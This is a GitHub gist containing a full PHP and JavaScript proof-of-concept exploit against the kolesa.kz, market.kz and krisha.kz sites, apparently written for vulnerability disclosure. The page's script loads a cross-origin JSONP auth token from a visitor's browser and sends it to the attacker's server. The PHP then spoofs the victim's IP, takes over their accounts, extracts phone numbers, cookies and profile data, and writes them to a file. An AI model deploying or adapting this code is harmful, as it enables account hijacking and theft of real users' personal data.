Created
September 27, 2020 10:18
-
-
Save Voorivex/a4d15400b153712fce86e81c6876e455 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$victim_ip_address = ""; | |
$output=""; | |
$phone_nums=""; | |
// Function to send HTTP GET requests, returning [contents,location,cookies]. | |
function http_get($URL, $cookies = "", $xhr=false) | |
{ | |
global $victim_ip_address; | |
$xhr_header=""; | |
if ($xhr == true) { | |
$xhr_header="X-Requested-With: XMLHttpRequest\r\n"; | |
} | |
// Set HTTP headers, add X-Forwarded-For header to spoof IP address... | |
$context = stream_context_create( | |
array( | |
"http" => array( | |
'follow_location' => false, | |
"method" => "GET", | |
"header" => "X-Forwarded-For:$victim_ip_address\r\nCookie: $cookies\r\n$xhr_header" | |
) | |
) | |
); | |
// Process HTTP response headers... | |
$return_value["contents"] = file_get_contents($URL, false, $context); | |
array_shift($http_response_header); | |
$resp_cookies = []; | |
$return_value["location"] = $URL; | |
foreach ($http_response_header as $header) { | |
$header_pair = explode(": ", $header); | |
$header_name = $header_pair[0]; | |
$header_value = $header_pair[1]; | |
if ($header_name == "Location") { | |
$return_value["location"] = $header_value; | |
} else if ($header_name == "Set-Cookie") { | |
$cookie_name = explode("=", $header_value)[0]; | |
$cookie_value = explode(";", explode("=", $header_value)[1])[0]; | |
$resp_cookies[$cookie_name] = $cookie_value; | |
} | |
} | |
$return_value["cookies"] = $resp_cookies; | |
return $return_value; | |
} | |
// Function to extract sensitive information. | |
function ExtractContents($resp) | |
{ | |
global $output; | |
$cookies = ""; | |
$PanelURL = ""; | |
global $phone_nums; | |
$PageToExtractPhoneNum=""; | |
$phone_num_regex=""; | |
$xhr=false; | |
$name = ""; | |
foreach ($resp["cookies"] as $cookie_name => $cookie_value) { //Check cookies... | |
if ($cookie_name == "ssid") { | |
$name = "kolesa.kz"; | |
$PanelURL = "https://kolesa.kz/my/"; | |
$PageToExtractPhoneNum="https://kolesa.kz/my/ajax-settings-personal/"; | |
$phone_num_regex='/phones="\[(.*)\]"/'; | |
} else if ($cookie_name == "mtsid") { | |
$name = "market.kz"; | |
$PanelURL = "https://market.kz/cabinet/"; | |
$PageToExtractPhoneNum="https://market.kz/ajax/getVerifiedPhones.json?ignoreSession=true"; | |
$phone_num_regex='/"phones":(.*)\]/'; | |
} else if ($cookie_name == "krssid") { | |
$name = "krisha.kz"; | |
$PanelURL = "https://krisha.kz/my/"; | |
$PageToExtractPhoneNum="https://krisha.kz/my/ajax-get-form/?userType=1"; | |
$phone_num_regex='/"phones" :list="\[\{(.*)\}\]"/'; | |
$xhr=true; | |
} | |
$cookies .= $cookie_name . "=" . $cookie_value . ";"; | |
} | |
if($phone_nums==""){ | |
$contents = http_get($PageToExtractPhoneNum, $cookies,$xhr)["contents"]; // Read pages contating phone numbers and extract them. | |
preg_match($phone_num_regex, $contents, $phone_num_matches); // Extract phone numbers. | |
if (sizeof($phone_num_matches) != 0){ | |
$phone_nums=str_replace(['"'," ","(",")",'"phones":[]','phones="[]"'],'',$phone_num_matches[0]); // Remove empty results and bad strings. | |
if ( $phone_nums != "") { | |
$output .= "User phone numbers:\n$phone_nums\n\n"; | |
} | |
} | |
} | |
$output .= str_repeat("=", 10) . " $name " . str_repeat("=", 10)."\n\n"; | |
$output .= "Authentication cookie: $cookies\n\n"; | |
$contents = http_get($PanelURL, $cookies)["contents"]; // Set stolen cookies to access victim account, read user page contents. | |
preg_match('/window\.digitalData =.*\};/', $contents, $user_info_matches);//Extract sensitive information matching Regex. | |
if( sizeof($user_info_matches)!=0 ){ | |
$user_info = $user_info_matches[0]; | |
$output .= "User information:\n$user_info\n\n"; | |
} | |
} | |
// Main Function | |
function Main() | |
{ | |
global $victim_ip_address; | |
global $phone_nums; | |
global $output; | |
$victim_ip_address = $_SERVER['REMOTE_ADDR']; | |
if (isset($_GET['token'])) { // Authentication cookie is sent by XMLHTTPRequest. | |
$token = urlencode($_GET['token']); | |
// Send athentication token to the target websites for validation. | |
$market_resp = http_get("https://market.kz/user/ajax-xdm-auth/?token=" . $token); | |
$kolesa_resp = http_get("https://kolesa.kz/user/ajax-xdm-auth/?token=" . $token); | |
$krisha_resp = http_get("https://krisha.kz/user/ajax-xdm-auth/?token=" . $token); | |
// ExtractContents() function will processes responses for sensitive information. | |
// Token is valid, load and store sensitive information of the victim. | |
$success1=($market_resp["location"] == "/user/ajax-xdm-auth/"); | |
$success2=($kolesa_resp["location"] == "/user/ajax-xdm-auth/"); | |
$success3=($krisha_resp["location"] == "/user/ajax-xdm-auth/"); | |
$success=($success1 && $success2 && $success3); | |
if ($success) { | |
$now = time(); | |
$output_dir = "./$victim_ip_address/$now/"; // Create a directory based on IP address of the victim and current timestamp. | |
mkdir($output_dir, 0755, true); | |
ExtractContents($market_resp); | |
ExtractContents($kolesa_resp); // Load and extract sensitive information. | |
ExtractContents($krisha_resp); | |
file_put_contents("$output_dir/victim_info.txt",$output);//Save all information extracted to the output file. | |
die("success"); | |
} else { // Token isn't valid, redirected to the login page. | |
die("failure"); | |
} | |
} | |
} | |
Main(); | |
?> | |
<html> | |
<body onload="Main()"> | |
<script> | |
var tries_num = 0; | |
var max_tries = 30; // Try 30 times to avoid failure. | |
window.jQuery = window; // As JQuery script isn't loaded, we redefine it to avoid errors. | |
function Main() { // Main function. | |
Create_JSONP(); | |
} | |
function Check(xdm) { // Function handling "xdm" object loaded by JSONP. | |
if (tries_num == 1) { | |
document.body.innerText += "+ JSONP object was loaded successfully.\n\n" | |
} | |
var is_authenticated = xdm["sess"]["is_authenticated"]; // Extract user user authentication status from xdm object. | |
var token = xdm["sess"]["token"]; // Extract Authentication token from xdm object. | |
if (is_authenticated == 1) { // User is authenticated. | |
if (tries_num == 1) { | |
document.body.innerText += "+ You are logged in.\n\n" | |
} | |
document.body.innerText += "* Sending authentication token to the server...\n" | |
XHR_Request("token=" + encodeURIComponent(token), Check_Server_Response) // Send authentication token to the server. | |
} else { | |
document.body.innerText += "- You are not logged in!\n" | |
document.body.innerText += "- Please login to one of your accounts on market.kz, kolesa.kz or krisha.kz and try again.\n" | |
} | |
} | |
function XHR_Request(data, callback) { // Function to send authentication tokens to the server. | |
var xhr = new XMLHttpRequest(); | |
xhr.open('GET', "?" + data, true); | |
xhr.onreadystatechange = function() { | |
if (xhr.readyState == 4 && xhr.status == 200) { | |
callback(xhr.responseText.trim()) | |
} | |
} | |
xhr.send(); | |
} | |
function Check_Server_Response(response) { // Function handling responses from the server. | |
if (response == "success") { // Server authenticated to the victim accounts successfully, token is valid. | |
document.body.innerText += "\n+ Success! Token is valid for authentication! (" + tries_num + "/" + max_tries + ")\n" | |
document.body.innerText += "+ Now an attacker can access your accounts on market.kz, kolesa.kz and krisha.kz!\n" | |
document.body.innerText += "+ Please check files created on the server for more information.\n\n" | |
} else { // Server failed to access victim accounts. | |
document.body.innerText += "- Token was invalid.Trying again...(" + tries_num + "/" + max_tries + ")\n" | |
Create_JSONP() | |
} | |
} | |
function Create_JSONP() { // Function to create and load JSONP objects. | |
if (tries_num == max_tries) { | |
document.body.innerText += "\nFailure: Could not find any valid token for authentication!"; | |
return; | |
} else if (tries_num == 0) { | |
document.body.innerText = "* Loading JSONP object from https://id.kolesa.kz/authToken.js...\n\n" | |
} | |
tries_num += 1 | |
// Same-Origin Policy allows current origin to load and handle cross-origin JSONP objects. | |
// Create and append JSONP object loading https://id.kolesa.kz/authToken.js to the document. | |
var JSONP = document.createElement('script'); | |
JSONP.src = "https://id.kolesa.kz/authToken.js" | |
// As "xdm" object is loaded by JSONP, call Check() function to check it. | |
JSONP.onload = function() { | |
Check(window.xdm) | |
} | |
document.head.append(JSONP); | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment